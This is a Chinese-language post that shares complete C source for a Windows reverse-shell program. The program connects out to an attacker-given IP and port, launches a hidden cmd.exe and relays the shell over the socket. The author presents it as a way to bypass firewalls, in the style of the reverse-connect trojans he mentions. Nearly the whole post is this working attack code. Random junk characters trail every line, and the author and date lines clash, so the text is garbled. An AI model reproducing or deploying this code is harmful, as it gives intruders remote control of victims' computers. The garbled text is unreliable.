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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。  Qo+Y  
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/* ============================== qKNHhXi  
Rebound port in Windows NT v+ "9&  
By wind,2006/7 r-5xo.J'  
===============================*/ 43N=O FU  
#include s;xErH@RA  
#include #<yKG\X?  
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#pragma comment(lib,"wsock32.lib") )gNVJ  
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void OutputShell(); =8E GB\P  
SOCKET sClient; L[lS >4e N  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; CwsC)]{/o  
zX&wfE8T  
void main(int argc,char **argv) 9tIE+RD  
{ lA,*]Mr~  
WSADATA stWsaData; lfte   
int nRet; WR}<^a x  
SOCKADDR_IN stSaiClient,stSaiServer; n(jrK9]  
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if(argc != 3) $%"~.L4  
{ 2UEjn>2  
printf("Useage:\n\rRebound DestIP DestPort\n"); M$2lK^2L  
return; d? 4-"9Y  
} og|~:>FmJo  
hvF>Tu]^r  
WSAStartup(MAKEWORD(2,2),&stWsaData); lNB<_SO  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); =VF%Z[Gm  
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stSaiClient.sin_family = AF_INET; vS G vv43G  
stSaiClient.sin_port = htons(0); SaA-Krn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 2E0$R%\  
1^y^b{  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) "sUmke-#  
{ <@+{EK'`q  
printf("Bind Socket Failed!\n"); rIJd(=  
return; (r"2XXR  
} P#qQde/y  
X!f` !tZ:{  
stSaiServer.sin_family = AF_INET; %#@5(_'  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); xRm~a-rp  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 3Hkb)Wu  
l6< bV#_qe  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) KNqs=:i  
{ <6!/B[!O=  
printf("Connect Error!"); yn.f?[G2  
return; | gP%8nh'C  
} Ll0"<G2t  
OutputShell(); 4i(?5p>f  
} MLt'tzgl  
z#\YA]1  
void OutputShell() CG[04y  
{ e2L4E8ST<  
char szBuff[1024]; a,KqTQB  
SECURITY_ATTRIBUTES stSecurityAttributes; 9AHxa  
OSVERSIONINFO stOsversionInfo; w*B4>FYg  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; aX|LEZ;D>  
STARTUPINFO stStartupInfo; '*n2<y  
char *szShell; OQh4 MN#$  
PROCESS_INFORMATION stProcessInformation; c_FnJ_++f  
unsigned long lBytesRead; x4;ndck%U  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =x} p>#o,J  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); R![4|FR  
stSecurityAttributes.lpSecurityDescriptor = 0; Jn)DZv8?  
stSecurityAttributes.bInheritHandle = TRUE; peGh-  
w4j,t  
v}BXH4&Y  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); PR~9*#"v..  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]$i~;f 8I  
)1o<}7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9 hdz<eFL  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %2<u>=6byG  
stStartupInfo.wShowWindow = SW_HIDE; wUcp_)aE|  
stStartupInfo.hStdInput = hReadPipe; C,nU.0  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; SB =%(]S  
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GetVersionEx(&stOsversionInfo); 6'qu[ ~ }Q  
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switch(stOsversionInfo.dwPlatformId) y(*#0fJrTV  
{ :V^|}C#  
case 1: f/{*v4!  
szShell = "command.com"; l|5;&(Y+s  
break; % n~ 'UA  
default: DE" Y(;S  
szShell = "cmd.exe"; R>dd#`r"  
break; j xTYW)E   
} =w2_1F"  
|}naI_Qudv  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); &M*f4PeXb  
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send(sClient,szMsg,77,0); p5JRG2zt  
while(1) ZOY zCc(d  
{ L1YiXJ,T,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); <U~at+M  
if(lBytesRead) t$-!1jq  
{ 5;q{9wvqO  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5Za%EaW%G  
send(sClient,szBuff,lBytesRead,0); H?tX^HO:q  
} [LDY;k~5+  
else %)p?&_  
{ <zt124y-6  
lBytesRead=recv(sClient,szBuff,1024,0); @tg4rl  
if(lBytesRead<=0) break; x f<wM]&  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); yNOoAnGT W  
} bW^JR,  
} gt)wk93d>  
K410.o/=-  
return; !?5YXI,  
}
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